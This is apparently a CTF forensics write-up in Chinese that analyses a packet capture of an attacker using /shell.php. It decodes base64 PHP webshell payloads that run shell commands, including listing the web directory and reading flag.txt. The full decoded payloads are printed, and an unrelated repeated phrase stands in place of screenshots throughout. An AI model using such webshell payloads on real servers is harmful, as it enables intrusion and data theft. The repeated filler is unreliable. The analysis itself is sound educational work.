stl源码剖析(plagscan查重)

题目描述

flag被盗,赶紧溯源~

题目文件

key.pcapng:https://pan.baidu.com/s/1kVyyCbt

解题步骤

使用wireshark打开key.pcapng数据包文件

stl源码剖析(plagscan查重)

既然是flag被盗,那么我们想到的首先就是通过正常的WEB请求来获取flag信息,所以直接过滤HTTP协议

stl源码剖析(plagscan查重)

从上面我们可以看到\\”/shell.php\\”的请求路径,之后直接跟踪当前HTTP的POST请求数据流

stl源码剖析(plagscan查重)

之后我们可以看到第一个请求执行了一条通过base64解码后的命令,这里我们对其进行解码操作,首先进行一次URL解码(去除中间%2F、%2B之类的转移字符)

stl源码剖析(plagscan查重)

之后进行一次base64解密操作:

stl源码剖析(plagscan查重)

解密后的最终信息如下:

@ini_set(\\\"display_errors\\\",\\\"0\\\");@set_time_limit(0);if(PHP_VERSION<\\\'5.3.0\\\'){@set_magic_quotes_runtime(0);};echo(\\\"X@Y\\\");$m=get_magic_quotes_gpc();$p=\\\'/bin/sh\\\';$s=\\\'cd /var/www/html/;ls;echo [S];pwd;echo [E]\\\';$d=dirname($_SERVER[\\\"SCRIPT_FILENAME\\\"]);$c=substr($d,0,1)==\\\"/\\\"?\\\"-c \\\\\\\"{$s}\\\\\\\"\\\":\\\"/c \\\\\\\"{$s}\\\\\\\"\\\";$r=\\\"{$p} {$c}\\\";$array=array(array(\\\"pipe\\\",\\\"r\\\"),array(\\\"pipe\\\",\\\"w\\\"),array(\\\"pipe\\\",\\\"w\\\"));$fp=proc_open($r.\\\" 2>&1\\\",$array,$pipes);$ret=stream_get_contents($pipes[1]);proc_close($fp);print $ret;;echo(\\\"X@Y\\\");die();

从上面可以看到关键的操作是执行了一次列目录查询,在WireShark中跟踪流显示如下:

stl源码剖析(plagscan查重)

紧接着我们看第二个请求数据包

stl源码剖析(plagscan查重)

通过使用同样的操作进行解码

stl源码剖析(plagscan查重)

可以看到这里进行了一次关键的cat flag.txt操作:

@ini_set(\\\"display_errors\\\",\\\"0\\\");@set_time_limit(0);if(PHP_VERSION<\\\'5.3.0\\\'){@set_magic_quotes_runtime(0);};echo(\\\"X@Y\\\");$m=get_magic_quotes_gpc();$p=\\\'/bin/sh\\\';$s=\\\'cd /var/www/html/;cat flag.txt;echo [S];pwd;echo [E]\\\';$d=dirname($_SERVER[\\\"SCRIPT_FILENAME\\\"]);$c=substr($d,0,1)==\\\"/\\\"?\\\"-c \\\\\\\"{$s}\\\\\\\"\\\":\\\"/c \\\\\\\"{$s}\\\\\\\"\\\";$r=\\\"{$p} {$c}\\\";$array=array(array(\\\"pipe\\\",\\\"r\\\"),array(\\\"pipe\\\",\\\"w\\\"),array(\\\"pipe\\\",\\\"w\\\"));$fp=proc_open($r.\\\" 2>&1\\\",$array,$pipes);$ret=stream_get_contents($pipes[1]);proc_close($fp);print $ret;;echo(\\\"X@Y\\\");die();

在WireShark中展示如下,并从中获取flag信息(注意:此处需要去除前面的\\”echo(\\”X@Y\\”);\\”打印的X@Y字符串)

flag{This_is_a_f10g}

stl源码剖析(plagscan查重)

使用同样的方法我们对三个请求数据包进行解包后可以看到这里执行了一个\\”whoami\\”

stl源码剖析(plagscan查重)

在wireshark中的数据如下:

stl源码剖析(plagscan查重)

快速解题

如果仅站在解题的角度我们可以使用以下两种方法快速来获取flag:

方法一:直接过滤包中包含\\”flag\\”字眼的数据包

http contains \\\"flag\\\"

方法二:直接使用notepad++以文本的形式打开检索\\”flag\\”即可

文末小结

本题目的描述虽然是\\”flag被盗,赶紧溯源~\\”,但是从数据包中我们仅可以看到攻击者IP为192.168.228.1,初次之外并未获取什么有关的信息,包括:攻击者使用的攻击手法,一上来就是连接webshell,但是由于该题目毕竟是一个CTF题目,以获取flag为主,所以勉强也还行~

原创文章,作者:七芒星实验室,如若转载,请注明出处:https://www.sudun.com/ask/34097.html

Like (0)
七芒星实验室的头像七芒星实验室
Previous 2024年4月16日
Next 2024年4月16日

相关推荐

  • 网站安全防护指南(参考10个)

      数字化发展带来的网络安全挑战仍在持续加剧,且严重影响企业数字化业务的深入开展。关注网络环境,加强安全意识,提升防范技能,是每一个企业组织都必须要做好的事情。本文收集整…

    2024年3月23日
    0
  • 网页抓取单词关联

    网页抓取单词关联在当今数字化的时代,数据的获取与处理成为了众多企业和开发者关注的焦点。API 服务的出现,为我们打开了高效、便捷获取和利用数据的新大门。接下来,为您介绍几款独具特色的 API 服务&

    网站运维 2024年6月21日
    0
  • 如何设置个人服务器

    搭建个人服务器可以按照以下步骤进行:一、确定需求和用途首先明确你搭建个人服务器的目的,例如搭建网站、文件存储、游戏服务器、开发测试环境等,这将决定服务器的配置和

    2024年9月21日
    0
  • 二进制最简易理解图解(《二进制》)

    你好,这里是网络技术联盟站。 二进制,多么熟悉的字眼,相信只要是学计算机的,二进制绝对是入门的第一节课必学的知识点。你肯定经常会听说“计算机底层数据传输就是通过二进制流”、“二进制…

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注